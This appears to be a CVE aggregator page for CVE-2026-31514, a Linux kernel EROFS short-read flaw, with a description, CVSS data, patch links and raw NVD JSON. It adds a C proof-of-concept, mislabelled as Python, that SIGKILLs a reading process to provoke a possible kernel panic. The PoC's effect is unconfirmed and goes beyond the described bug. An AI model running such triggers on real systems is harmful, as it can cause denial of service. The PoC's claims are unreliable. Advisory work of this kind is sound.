CVE-2026-31514

Description

In the Linux kernel, the following vulnerability has been resolved: erofs: set fileio bio failed in short read case For file-backed mount, IO requests are handled by vfs_iocb_iter_read(). However, it can be interrupted by SIGKILL, returning the number of bytes actually copied. Unused folios in bio are unexpectedly marked as uptodate. vfs_read filemap_read filemap_get_pages filemap_readahead erofs_fileio_readahead erofs_fileio_rq_submit vfs_iocb_iter_read filemap_read filemap_get_pages <= detect signal erofs_fileio_ki_complete <= set all folios uptodate This patch addresses this by setting short read bio with an error directly.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (Mainline)

Linux Kernel (Stable branches prior to patch 5a5f23ef5431639db1ac3a0b274aef3a84cc413c)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-31514
 * Triggering the race condition in EROFS fileio readahead.
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/wait.h>

void trigger_read() {
    // Path to a file on an EROFS filesystem mounted with fileio
    const char *target = "/mnt/erofs/large_file.bin";
    FILE *f = fopen(target, "r");
    if (!f) return;

    char buf[8192];
    // Read to trigger readahead
    while (fread(buf, 1, sizeof(buf), f) > 0);
    fclose(f);
}

int main() {
    pid_t pid = fork();
    if (pid == 0) {
        trigger_read();
    } else {
        // Wait for IO to start, then send SIGKILL
        usleep(20000); 
        kill(pid, SIGKILL);
        wait(NULL);
        printf("Signal sent. Potential kernel panic triggered.");
    }
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31514
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31514
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31514/
[4] VulDB https://vuldb.com/cve/CVE-2026-31514
[5] https://git.kernel.org/stable/c/5a5f23ef5431639db1ac3a0b274aef3a84cc413c
[6] https://git.kernel.org/stable/c/5cf3972c8221abdb1b464a14ccf8103d840b9085
[7] https://git.kernel.org/stable/c/d1ba7d6b3cd1757b108d7b6856c92ae661d6c323
[8] https://git.kernel.org/stable/c/eade54040384f54b7fb330e4b0975c5734850b3c

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31514", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:50.810", "lastModified": "2026-04-28T16:19:39.717", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nerofs: set fileio bio failed in short read case\n\nFor file-backed mount, IO requests are handled by vfs_iocb_iter_read().\nHowever, it can be interrupted by SIGKILL, returning the number of\nbytes actually copied. Unused folios in bio are unexpectedly marked\nas uptodate.\n\n vfs_read\n filemap_read\n filemap_get_pages\n filemap_readahead\n erofs_fileio_readahead\n erofs_fileio_rq_submit\n vfs_iocb_iter_read\n filemap_read\n filemap_get_pages <= detect signal\n erofs_fileio_ki_complete <= set all folios uptodate\n\nThis patch addresses this by setting short read bio with an error\ndirectly."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.12.75", "versionEndExcluding": "6.12.80", "matchCriteriaId": "E823EB64-1F92-40BB-891C-D94D00EDA086"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.18.14", "versionEndExcluding": "6.18.21", "matchCriteriaId": "DEA57E4E-36B0-40D5-98B9-6A50348C9E74"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19.4", "versionEndExcluding": "6.19.11", "matchCriteriaId": "A67B0458-DAE3-4940-BBB2-1A4D263AF27B"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/5a5f23ef5431639db1ac3a0b274aef3a84cc413c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5cf3972c8221abdb1b464a14ccf8103d840b9085", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d1ba7d6b3cd1757b108d7b6856c92ae661d6c323", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/eade54040384f54b7fb330e4b0975c5734850b3c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}